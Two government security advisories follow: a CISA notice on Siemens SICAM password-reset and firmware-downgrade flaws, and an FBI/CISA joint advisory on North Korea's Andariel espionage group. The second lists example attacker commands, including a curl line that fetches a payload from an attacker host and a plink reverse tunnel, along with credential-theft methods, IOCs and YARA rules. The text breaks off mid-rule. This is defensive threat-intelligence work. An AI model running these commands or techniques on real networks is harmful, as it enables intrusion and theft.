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As of January 10, 2023, CISA will no longer be updating ICS security advisories for Siemens product vulnerabilities beyond the initial advisory. For the most up-to-date information on vulnerabilities in this advisory, please see  Siemens' ProductCERT Security Advisories (CERT Services | Services | Siemens Global). View CSAF 1. EXECUTIVE SUMMARY CVSS v4 9.3 ATTENTION: Exploitable remotely/low attack complexity Vendor: Siemens Equipment: CPCI85 for CP-8031/CP-8050, CPCI85, SICORE Vulnerabilities: Unverified Password Change, Missing Authentication for Critical Function 2. RISK EVALUATION Successful exploitation of these vulnerabilities could allow an attacker to perform an unauthorized password reset which could lead to privilege escalation and potential leak of information. 3. TECHNICAL DETAILS 3.1 AFFECTED PRODUCTS The following Siemens SICAM product versions are affected: CPCI85 Central Processing/Communication: All versions prior to V5.40 SICORE Base system: All versions prior to V1.4.0 3.2 Vulnerability Overview 3.2.1 UNVERIFIED PASSWORD CHANGE CWE-620 The password of administrative accounts of the affected applications can be reset without requiring the knowledge of the current password, given the auto login is enabled. This could allow an unauthorized attacker to obtain administrative access of the affected applications. CVE-2024-37998 has been assigned to this vulnerability. A CVSS v3.1 base score of 9.8 has been calculated; the CVSS vector string is ( AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). A CVSS v4 score has also been calculated for  CVE-2024-37998. A base score of 9.3 has been calculated; the CVSS vector string is ( CVSS4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). 3.2.2 MISSING AUTHENTICATION FOR CRITICAL FUNCTION CWE-306 Affected devices allow a remote authenticated user or an unauthenticated user with physical access to downgrade the firmware of the device. This could allow an attacker to downgrade the device to older versions with known vulnerabilities. CVE-2024-39601 has been assigned to this vulnerability. A CVSS v3.1 base score of 6.5 has been calculated; the CVSS vector string is ( AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N). A CVSS v4 score has also been calculated for  CVE-2024-39601. A base score of 7.1 has been calculated; the CVSS vector string is ( CVSS4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N). 3.3 BACKGROUND CRITICAL INFRASTRUCTURE SECTORS: Critical Manufacturing COUNTRIES/AREAS DEPLOYED: Worldwide COMPANY HEADQUARTERS LOCATION: Germany 3.4 RESEARCHER Jan Kaestle from Siemens Energy reported the vulnerability CVE-2024-37998 to Siemens. Steffen Robertz, Gerhard Hechenberger, Stefan Viehböck, and Constantin Schieber-Knöbl from SEC Consult Vulnerability Lab reported the vulnerability CVE-2024-39601 to Siemens. 4. MITIGATIONS Siemens recommends users to update to the latest version: CPCI85 Central Processing/Communication: Update to V5.40 or later SICORE Base system: Update to V1.4.0 or later Siemens has identified the following specific workarounds and mitigations that customers can apply to reduce the risk: CVE-2024-37998: Disable the auto login feature Additional information on industrial security by Siemens can be found on the Siemens industrial security webpage For more information see the associated Siemens security advisory SSA-071402 in HTML and CSAF. CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities, such as: Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet. Locate control system networks and remote devices behind firewalls and isolating them from business networks. When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures. CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies. CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies. Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents. No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. 5. UPDATE HISTORY July 25, 2024: Initial Publication

Summary The U.S. Federal Bureau of Investigation (FBI) and the following authoring partners are releasing this Cybersecurity Advisory to highlight cyber espionage activity associated with the Democratic People’s Republic of Korea (DPRK)’s Reconnaissance General Bureau (RGB) 3rd Bureau based in Pyongyang and Sinuiju: U.S. Cyber National Mission Force (CNMF) U.S. Cybersecurity and Infrastructure Security Agency (CISA) U.S. Department of Defense Cyber Crime Center (DC3) U.S. National Security Agency (NSA) Republic of Korea’s National Intelligence Service (NIS) Republic of Korea’s National Police Agency (NPA) United Kingdom’s National Cyber Security Centre (NCSC) The RGB 3 rd Bureau includes a DPRK (aka North Korean) state-sponsored cyber group known publicly as Andariel, Onyx Sleet (formerly PLUTONIUM), DarkSeoul, Silent Chollima, and Stonefly/Clasiopa. The group primarily targets defense, aerospace, nuclear, and engineering entities to obtain sensitive and classified technical information and intellectual property to advance the regime’s military and nuclear programs and ambitions. The authoring agencies believe the group and the cyber techniques remain an ongoing threat to various industry sectors worldwide, including but not limited to entities in their respective countries, as well as in Japan and India. RGB 3 rd Bureau actors fund their espionage activity through ransomware operations against U.S. healthcare entities. The actors gain initial access through widespread exploitation of web servers through known vulnerabilities in software, such as Log4j, to deploy a web shell and gain access to sensitive information and applications for further exploitation. The actors then employ standard system discovery and enumeration techniques, establish persistence using Scheduled Tasks, and perform privilege escalation using common credential stealing tools such as Mimikatz. The actors deploy and leverage custom malware implants, remote access tools (RATs), and open source tooling for execution, lateral movement, and data exfiltration. The actors also conduct phishing activity using malicious attachments, including Microsoft Windows Shortcut File (LNK) files or HTML Application (HTA) script files inside encrypted or unencrypted zip archives. The authoring agencies encourage critical infrastructure organizations to apply patches for vulnerabilities in a timely manner, protect web servers from web shells, monitor endpoints for malicious activities, and strengthen authentication and remote access protections. While not exclusive, entities involved in or associated with the below industries and fields should remain vigilant in defending their networks from North Korea state-sponsored cyber operations: For additional information on DPRK state-sponsored malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage. Download the PDF version of this report: AA24-207A North Korea Cyber Group Conducts Global Espionage Campaign to Advance Regime’s Military and Nuclear Programs (PDF, 801.28 KB ) For a downloadable copy of associated indicators of compromise (IOCs), see: AA24-207A STIX XML (XML, 296.99 KB ) AA24-207A STIX JSON (JSON, 140.84 KB ) Technical Details RGB 3 rd Bureau Andariel (also known as Onyx Sleet, formerly PLUTONIUM, DarkSeoul, Silent Chollima, and Stonefly/Clasiopa) is a North Korean state-sponsored cyber group, under the RGB 3rd Bureau, based in Pyongyang and Sinuiju. The authoring agencies assess the group has evolved from conducting destructive attacks targeting U.S. and South Korean organizations to conducting specialized cyber espionage and ransomware operations. Cyber Espionage The actors currently target sensitive military information and intellectual property of defense, aerospace, nuclear, engineering organizations. To a lesser extent, the group targets medical and energy industries. See Table 1 for more victimology information. Table 1. Andariel Cyber Espionage Victimology Industry Information Targeted Defense Heavy and light tanks and self-propelled howitzers Light strike vehicles and ammunition supply vehicles Littoral combat ships and combatant craft Submarines, torpedoes, unmanned underwater vehicles (UUVs), and autonomous underwater vehicles (AUVs) Modeling and simulation services Aerospace Fighter aircraft and unmanned aerial vehicles (UAVs) Missiles and missile defense systems Satellites, satellite communications, and nano-satellite technology Surveillance radar, phased-array radar, and other radar systems Nuclear Uranium processing and enrichment Material waste and storage Nuclear power plants Government nuclear facilities and research institutes Engineering Shipbuilding and marine engineering Robot machinery and mechanical arms Additive manufacturing and 3D printing components and technology Casting, fabrication, high-heat metal molding, and rubber and plastic molding Machining processes and technology The information targeted—such as contract specifications, bills of materials, project details, design drawings, and engineering documents—has military and civilian applications and leads the authoring agencies to assess one of the group’s chief responsibilities as satisfying collection requirements for Pyongyang’s nuclear and defense programs. Ransomware Andariel actors fund their espionage activity through ransomware operations against U.S. healthcare entities, and in some instances, the authoring agencies have observed the actors launching ransomware attacks and conducting cyber espionage operations on the same day and/or leveraging ransomware and cyber espionage against the same entity. For more information on this ransomware activity, see joint advisories #StopRansomware: Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities and North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector. Malicious Cyber Espionage Activity This advisory uses the MITRE ATT&CK for Enterprise framework, version 15. See the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques. Reconnaissance and Enumeration While there is limited available information on the group’s initial reconnaissance methods, the actors likely identify vulnerable systems using publicly available internet scanning tools that reveal information such as vulnerabilities in public-facing web servers [ T1595, T1592]. The actors gather open source information about their victims for use in targeting [ T1591] and research Common Vulnerabilities and Exposures (CVEs) when published to the National Institute of Standards and Technology (NIST) National Vulnerability Database [ T1596]. CVEs researched include: CVE-2023-46604 – Apache ActiveMQ CVE-2023-42793 – TeamCity CVE-2023-3519 – Citrix NetScaler CVE-2023-35078 – Ivanti Endpoint Manager Mobile (EPMM) CVE-2023-34362 – MOVEIt CVE-2023-33246 – RocketMQ CVE-2023-32784 – KeePass CVE-2023-32315 – Openfire CVE-2023-3079 – Google Chromium V8 Type Confusion CVE-2023-28771 and CVE-2023-33010 – Zyxell firmware CVE-2023-2868 – Barracuda Email Security Gateway CVE-2023-27997 – FortiGate SSL VPN CVE-2023-25690 – Apache HTTP Server CVE-2023-21932 – Oracle Hospitality Opera 5 CVE-2023-0669 – GoAnywhere MFT CVE-2022-47966 – ManageEngine CVE-2022-41352 and CVE-2022-27925 – Zimbra Collaboration Suite CVE-2022-30190 – Microsoft Windows Support Diagnostic Tool CVE-2022-25064 – TP-LINK CVE-2022-24990 and CVE-2021-45837 – TerraMaster NAS CVE-2022-24785 – Moment.js CVE-2022-24665, CVE-2022-24664, and CVE-2022-24663 – PHP Everywhere CVE-2022-22965 – Spring4Shell CVE-2022-22947 – Spring Cloud Gateway CVE-2022-22005 – Microsoft SharePoint Server CVE-2022-21882 – Win32k Elevation of Privilege CVE-2021-44228 – Apache Log4j CVE-2021-44142 – Samba vfs_fruit module CVE-2021-43226, CEV-2021-43207, CVE-2021-36955 – Windows log file vulnerabilities CVE-2021-41773 – Apache HTTP Server 2.4.49 CVE-2021-40684 – Talend ESB Runtime CVE-2021-3018 – IPeakCMS 3.5 CVE-2021-20038 – SMA100 Apache httpd server (SonicWall) CVE-2021-20028 – SonicWall Secure Remote Access (SRA) CVE-2019-15637 – Tableau CVE-2019-7609 – Kibana CVE-2019-0708 – Microsoft Remote Desktop Services CVE-2017-4946 – VMware V4H and V4PA Resource Development, Tooling, and Remote Access Tools The actors leverage custom tools and malware for discovery and execution. Over the last 15 years, the group has developed RATs, including the following, to permit remote access and manipulation of systems and lateral movement. Atharvan ELF Backdoor Jupiter MagicRAT “No Pineapple” TigerRAT Valefor/VSingle ValidAlpha YamaBot NukeSped Goat RAT Black RAT AndarLoader DurianBeacon Trifaux KaosRAT Preft Andariel Scheduled Task Malware BottomLoader (see Cisco Talos blog Operation Blacksmith) NineRAT (see Cisco Talos blog Operation Blacksmith) DLang (see Cisco Talos blog Operation Blacksmith) Nestdoor (see AhnLab blog) These tools include functionality for executing arbitrary commands, keylogging, screenshots, listing files and directories, browser history retrieval, process snooping, creating and writing to files, capturing network connections, and uploading content to command and control (C2) [ T1587.001, T1587.004]. The tools allow the actors to maintain access to the victim system with each implant having a designated C2 node. Commodity Malware Commodity malware is malicious software widely available for purchase or use and is leveraged by numerous different threat actors. The use of publicly available malware enables the actors to conceal and obfuscate their identities and leads to attribution problems. The authoring agencies are reliant on the use of custom malware and loaders, along with overlapping C2 nodes to attribute commodity malware to the actors. The actors have at times achieved great success leveraging just open source malware. The authoring agencies have identified the following open-source tools as used and/or customized by the actors: 3Proxy [ T1090] AdFind [ S0552] AsyncRAT DeimosC2 Impacket [ T1090] Juggernaut [ T1040] Lilith RAT ORVX Web Shell Mimikatz [ S0002] PLINK [ T1572] ProcDump [ T1003] PuTTY [ T1572] SOCKS5 [ T1090] Stunnel [ T1572] Web Shell by Orb (WSO) WinRAR [ T1560] WinSCP [ T1048] RDP Wrapper [ T1572] Initial Access The actors gain initial access through widespread exploitation of web servers through known vulnerabilities, such as CVE-2021-44228 (“Log4Shell”) in Apache’s Log4j software library and other CVEs listed above, to deploy web shells and gain access to sensitive information and applications for further exploitation. The actors continue to breach organizations by exploiting web server vulnerabilities in public-facing devices and have conducted widespread activity against a number of different organizations simultaneously [ T1190]. Execution The actors are well-versed in using native tools and processes on systems, known as living off the land (LOTL). They use Windows command line, PowerShell, Windows Management Instrumentation command line (WMIC), and Linux bash, for system, network, and account enumeration. While individual commands typically vary, the authoring agencies assess the actors prefer netstat commands, such as netstat –naop and netstat –noa [ T1059]. Example commands used by the actors include the following: netstat –naop netstat –noa pvhost.exe -N -R [IP Address]:[Port] -P [Port] -l [username] -pw [password] curl hxxp[://][IP Address]/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe C:\windows\system32\cmd.exe /c systeminfo | findstr Logon These actors often make typos and other mistakes, indicating that the commands are not directly copied from a playbook and the actors have a flexible and impromptu approach. The typos also illustrate a poor grasp of the English language, including common errors such as “Microsoft Cooperation” (rather than “Microsoft Corporation”) found across numerous RGB 3rd Bureau malware samples. Defense Evasion The actors routinely pack late-stage tooling in VMProtect and Themida. Malicious tooling packed with these and other commercial tools have advanced anti-debugging and detection capabilities. These files are typically multiple megabytes in size and often contain unusual file section names such as vmp0 and vmp1 for VMProtect and Themida or randomized file section names for Themida [ T1027]. Credential Access The actors employ a multi-pronged approach to stealing credentials to gain additional access to systems, including the use of publicly available credential theft tools such as Mimikatz, ProcDump, and Dumpert and accessing the Active Directory domain database through targeting of the NTDS.dit file. The authoring agencies assess the actors change settings on compromised systems to force the system to store credentials and then use the aforementioned tools to steal credentials. In one instance, the actors used the vssadmin command-line utility to back up a volume to retrieve a copy of the NTDS.dit file containing Active Directory data. In another instance, the actors were observed collecting registry hive data for offline extraction of credentials [ T1003]. Discovery The actors used customized file system enumeration tooling written in .NET. The tool is capable of receiving and executing command line arguments to enumerate directories and files and compress output files. The tool collects the following information for each drive targeted on a system: depth relative to starting path, name, last write time, last access time, creation time, size, and attributes [ T1087, T1083]. The actors also enumerate directories and files of connected devices using Server Message Block (SMB) protocol, which enables network file sharing and the ability to request services and programs from a network [ T1021.002]. Lateral Movement The actors also use system logging for discovery to move laterally. The group logs active window changes, clipboard data, and keystrokes and saves the collected logging information to the %Temp% directory. The actors have also used Remote Desktop Protocol (RDP) to move laterally [ T1021]. Command and Control The actors leverage techniques and infrastructure positioned around the world to send commands to compromised systems. The actors disguise their malware within HTTP packets to appear as benign network traffic. They also use tunneling tools such as 3Proxy, PLINK, and Stunnel as well as custom proxy tunneling tools to tunnel traffic over a variety of protocols from inside a network back to a C2 server. Tunneling enables the actors to perform C2 operations despite network configurations that would typically pose a challenge, such as the use of Network Address Translation (NAT) or traffic funneled through a web proxy [ T1090, T1071]. Collection and Exfiltration Malware previously used by the actors permitted placement and access to search through files that could be of interest, including scanning computer files for keywords related to defense and military sectors in English and Korean. The actors identify data for theft by enumerating files and folders across many directories and servers using command-line activity or functionality built into custom tools. The actors collect the relevant files into RAR archives, sometimes using a version of WinRAR brought into the victim’s environment with other malicious tooling [ T1560, T1039]. The actors typically exfiltrate data to web services such as cloud storage or servers not associated with their primary C2. Notably, the actors have been observed logging into actor-controlled cloud-based storage service accounts directly from victim networks to exfiltrate data [ T1567]. The actors have also been observed using the utilities PuTTY and WinSCP to exfiltrate data to North Korea-controlled servers via File Transfer Protocol (FTP) and other protocols [ T1048]. The actors have also been identified staging files for exfiltration on victim machines, establishing Remote Desktop Protocol connections, and conducting HTTP GET requests on port 80 to receive information [ T1021]. Indicators of Compromise See below for Andariel IOCs. The following include observed MD5 hashes: 88a7c84ac7f7ed310b5ee791ec8bd6c5 6ab4eb4c23c9e419fbba85884ea141f4 97ce00c7ef1f7d98b48291d73d900181 079b4588eaa99a1e802adf5e0b26d8aa 0873b5744d8ab6e3fe7c9754cf7761a3 0d696d27bae69a62def82e308d28857a 0ecf4bac2b070cf40f0b17e18ce312e6 17c46ed7b80c2e4dbea6d0e88ea0827c 1f2410c3c25dadf9e0943cd634558800 2968c20a07cfc97a167aa3dd54124cda 33e85d0f3ef2020cdb0fc3c8d80e8e69 4118d9adce7350c3eedeb056a3335346 4aa57e1c66c2e01f2da3f106ed2303fa 58ad3103295afcc22bde8d81e77c282f 5c41cbf8a7620e10f158f6b70963d1cb 61a949553d35f31957db6442f36730c5 72a22afde3f820422cfdbba7a4cbabde 84bd45e223b018e67e4662c057f2c47e 86465d92f0d690b62866f52f5283b9fc 8b395cc6ecdec0900facf6e93ec48fbb 97f352e2808c78eef9b31c758ca13032 a50f3b7aa11b977ae89285b60968aa67 afd25ce56b9808c5ed7eade75d2e12a7 afdeb24975a318fc5f20d9e61422a308 b697b81b341692a0b137b2c748310ea7 bcac28919fa33704a01d7a9e5e3ddf3f c027d641c4c1e9d9ad048cda2af85db6 c892c60817e6399f939987bd2bf5dee0 cdeae978f3293f4e783761bc61b34810 d0f310c99476f1712ac082f78dd29fdc d8da33fae924b991b776797ba8cde24c e230c5728f9ea5a94e390e7da7bf1ffa f4d46629ca15313b94992f3798718df7 fb84a392601fc19aeb7f8ce11b3a4907 ff3194d3d5810a42858f3e22c91500b1 13b4ce1fc26d400d34ede460a8530d93 41895c5416fdc82f7e0babc6bb6c7216 c2f8c9bb7df688d0a7030a96314bb493 33a3da2de78418b89a603e28a1e8852c 4896da30a745079cd6265b6332886d45 73eb2f4f101aab6158c615094f7a632a 7f33d2d2a2ce9c195202acb59de31eee e1afd01400ef405e46091e8ef10c721c fe25c192875ec1914b8880ea3896cda2 232586f8cfe82b80fd0dfa6ed8795c56 c1f266f7ec886278f030e7d7cd4e9131 49bb2ad67a8c5dfbfe8db2169e6fa46e beb199b15bd075996fa8d6a0ed554ca8 4053ca3e37ed1f8d37b29eed61c2e729 3a0c8ae783116c1840740417c4fbe678 0414a2ab718d44bf6f7103cff287b312 ca564428a29faf1a613f35d9fa36313f ad6d4eb34d29e350f96dc8df6d8a092e dc70dc9845aa747001ebf2a02467c203 3d2ec58f37c8176e0dbcc47ff93e5a76 0a09b7f2317b3d5f057180be6b6d0755 1ffccc23fef2964e9b1747098c19d956 9112efb49cae021abebd3e9a564e6ca4 ac0ada011f1544aa3a1cf27a26f2e288 0211a3160cc5871cbcd4e5514449162b 7416ea48102e2715c87edd49ddbd1526 a2aefb7ab6c644aa8eeb482e27b2dbc4 e7fd7f48fbf5635a04e302af50dfb651 33b2b5b7c830c34c688cf6ced287e5be e5410abaaac69c88db84ab3d0e9485ac eb35b75369805e7a6371577b1d2c4531 5a3f3f75048b9cec177838fb8b40b945 9d7bd0caed10cc002670faff7ca130f5 8434cdd34425916be234b19f933ad7ea bbaee4fe73ccff1097d635422fdc0483 79e474e056b4798e0a3e7c60dd67fd28 95c276215dcc1bd7606c0cb2be06bf70 426bb55531e8e3055c942a1a035e46b9 cfae52529468034dbbb40c9a985fa504 deae4be61c90ad6d499f5bdac5dad242 bda0686d02a8b7685adf937cbcd35f46 6de6c27ca8f4e00f0b3e8ff5185a59d1 c61a8c4f6f6870c7ca0013e084b893d2 5291aed100cc48415636c4875592f70c f4795f7aec4389c8323f7f40b50ae46f cf1a90e458966bcba8286d46d6ab052c 792370eb01e16ac3dc511143932d0e1d 612538328e0c4f3e445fb58ef811336a 9767aa592ec2d6ae3c7d40b6049d0466 b22fd0604c4f189f2b7a59c8f48882dd e53ca714787a86c13f07942a56d64efa c7b09f1dd0a5694de677f3ecceda41b7 c8346b39418f92725719f364068a218d 730bff14e80ffd7737a97cdf11362ab5 9a481bc83fea1dea3e3bdfff5e154d44 ddb1f970371fa32faae61fc5b8423d4b 6c2b947921e7c77d9af62ce9a3ed7621 977d30b261f64cc582b48960909d0a89 7ce51b56a6b0f8f78056ddfc5b5de67c dd9625be4a1201c6dfb205c12cf3a381 ecb4a09618e2aba77ea37bd011d7d7f7 0fd8c6f56c52c21c061a94e5765b27b4 c90d094a8fbeaa8a0083c7372bfc1897 0055a266aa536b2fdadb3336ef8d4fba 55bb271bbbf19108fec73d224c9b4218 0c046a2f5304ed8d768795a49b99d6e4 f34664e0d9a10974da117c1ca859dba8 a2c2099d503fcc29478205f5aef0283b e439f850aa8ead560c99a8d93e472225 7c30ed6a612a1fd252565300c03c7523 81738405a7783c09906da5c7212e606b c027d641c4c1e9d9ad048cda2af85db6 eb7ba9f7424dffdb7d695b00007a3c6d 3e9ee5982e3054dc76d3ba5cc88ae3de 073e3170a8e7537ff985ec8316319351 9b0e7c460a80f740d455a7521f0eada1 2d02f5499d35a8dffb4c8bc0b7fec5c2 0984954526232f7d05910aa5b07c5893 4156a7283284ece739e1bae05f99e17c 3026d419ee140f3c6acd5bff54132795 7aa132c0cc63a38fb4d1789553266fc7 1a0811472fad0ff507a92c957542fffd f8aef59d0c5afe8df31e11a1984fbc0a 82491b42b9a2d34b13137e36784a67d7 0a199944f757d5615164e8808a3c712a 9c97ea18da290a6833a1d36e2d419efc 16f768eac33f79775a9672018e0d64f5 The following include observed SHA-256 hashes: ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 1962ebb7bf8d2b306c6f3b55c3dcd69a755eeff1a17577b7606894b781841c3a f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1 b7435d23769e79fcbe69b28df4aef062685d1a631892c2354f96d833eae467be 66415464a0795d0569efa5cb5664785f74ed0b92a593280d689f3a2ac68dca66 def2f01fbd4be85f48101e5ab7ddd82efb720e67daa6838f30fd8dcda1977563 323cbe7a3d050230cfaa822c2a22160b4f8c5fe65481dd329841ee2754b522d9 74529dd15d1953a47f0d7ecc2916b2b92865274a106e453a24943ca9ee434643 1e4de822695570421eb2f12fdfe1d32ab8639655e12180a7ab3cf429e7811b8f 8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5 c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4 452ca47230afd4bb85c45af54fcacbfa544208ef8b4604c3c5caefe3a64dcc19 199ba618efc6af9280c5abd86c09cdf2d475c09c8c7ffc393a35c3d70277aed1 2eb16dbc1097a590f07787ab285a013f5fe235287cb4fb948d4f9cce9efa5dbc ce779e30502ecee991260fd342cc0d7d5f73d1a070395b4120b8d300ad11d694 db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 c28bb61de4a6ad1c5e225ad9ec2eaf4a6c8ccfff40cf45a640499c0adb0d8740 34d5a5d8bec893519f204b573c33d54537b093c52df01b3d8c518af08ee94947 664f8d19af3400a325998b332343a9304f03bab9738ddab1530869eff13dae54 772b06f34facf6a2ce351b8679ff957cf601ef3ad29645935cb050b4184c8d51 aa29bf4292b68d197f4d8ca026b97ec7785796edcb644db625a8f8b66733ab54 9a5504dcfb7e664259bfa58c46cfd33e554225daf1cedea2ec2a9d83bbbfe238 c2500a6e12f22b16e221ba01952b69c92278cd05632283d8b84c55c916efe27c 8aa6612c95c7cef49709596da43a0f8354f14d8c08128c4cb9b1f37e548f083b 38f0f2d658e09c57fc78698482f2f638843eb53412d860fb3a99bb6f51025b07 The following include a list of user agent strings used by the actors: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0 Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Detection Methods See Table 2 for YARA rules, created by the FBI, authoring partners, and private industry, that can be used to detect malware used by the actors. Table 2. YARA Rules rule Andariel_ScheduledTask_Loader { strings: $obfuscation1 = { B8 02 00 00 00 48 6B C0 00 B9 CD FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 01 B9 CC FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 02 B9 8D FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 03 B9 9A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 04 B9 8C FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 05 B9 8A FF 00 00 66 89 8C 04 60 01 00 00 B8 02 00 00 00 48 6B C0 06 33 C9 66 89 8C 04 60 01 00 00 } $obfuscation2 = { 48 6B C0 02 C6 44 04 20 BA B8 01 00 00 00 48 6B C0 03 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 04 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 05 C6 44 04 20 8A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 9C B8 01 00 00 00 } $obfuscation3 = { 48 6B C0 00 C6 44 04 20 A8 B8 01 00 00 00 48 6B C0 01 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 02 C6 44 04 20 93 B8 01 00 00 00 48 6B C0 03 C6 44 04 20 96 B8 01 00 00 00 48 6B C0 04 C6 44 04 20 B9 B8 01 00 00 00 48 6B C0 05 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 06 C6 44 04 20 8B B8 01 00 00 00 48 6B C0 07 C6 44 04 20 9E B8 01 00 00 00 48 6B C0 08 C6 44 04 20 9A B8 01 00 00 00 48 6B C0 09 C6 44 04 20 8D B8 01 00 00 00 48 6B C0 0A C6 44 04 20 BC B8 01 00 00 00 } condition: uint16(0) == 0x5A4D and $obfuscation1 and $obfuscation2 and $obfuscation3 } rule Andariel_KaosRAT_Yamabot { strings: $str1 = "/kaos/" $str2 = "Abstand [" $str3 = "] anwenden" $str4 = "cmVjYXB0Y2hh" $str5 = "/bin/sh" $str6 = "utilities.CIpaddress" $str7 = "engine.NewEgg" $str8 = "%s%04x%s%s%s" $str9 = "Y2FwdGNoYV9zZXNzaW9u" $str10 = "utilities.EierKochen" $str11 = "kandidatKaufhaus" condition: 3 of them } rule TriFaux_EasyRAT_JUPITER { strings: $InitOnce = "InitOnceExecuteOnce" $BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A } $Bytes = "4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide condition: uint16(0) == 0x5a4d and all of them } rule Andariel_CutieDrop_MagicRAT { strings: $config_os_w = "os/windows" ascii wide $config_os_l = "os/linux" ascii wide $config_os_m = "os/mac" ascii wide $config_comp_msft = "company/microsoft" ascii wide $config_comp_orcl = "company/oracle" ascii wide $POST_field_1 = "session=" ascii wide $POST_field_2 = "type=" ascii wide $POST_field_3 = "id=" ascii wide $command_misspelled = "renmae" ascii wide condition: uint16(0) == 0x5a4d and 7 of them rule Andariel_hhsd_FileTransferTool { strings: // 30 4D C7 xor [rbp+buffer_v41+3], cl // 81 7D C4 22 C0 78 00 cmp dword ptr [rbp+buffer_v41], 78C022h // 44 88 83 00 01 00 00 mov [rbx+100h], r8b $handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 } // B1 14 mov cl, 14h // C7 45 F7 14 00 41 00 mov [rbp+57h+Src], 410014h // C7 45 FB 7A 00 7F 00 mov [rbp+57h+var_5C], 7F007Ah // C7 45 FF 7B 00 63 00 mov [rbp+57h+var_58], 63007Bh // C7 45 03 7A 00 34 00 mov [rbp+57h+var_54], 34007Ah // C7 45 07 51 00 66 00 mov [rbp+57h+var_50], 660051h // C7 45 0B 66 00 7B 00 mov [rbp+57h+var_4C], 7B0066h // C7 45 0F 66 00 00 00 mov [rbp+57h+var_48], 66h ; 'f' $err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 } // 41 02 D0 add dl, r8b // 44 02 DA add r11b, dl // 3C 1F cmp al, 1Fh $buf_add_cmp_1f = { 4? 02 ?? 4? 02 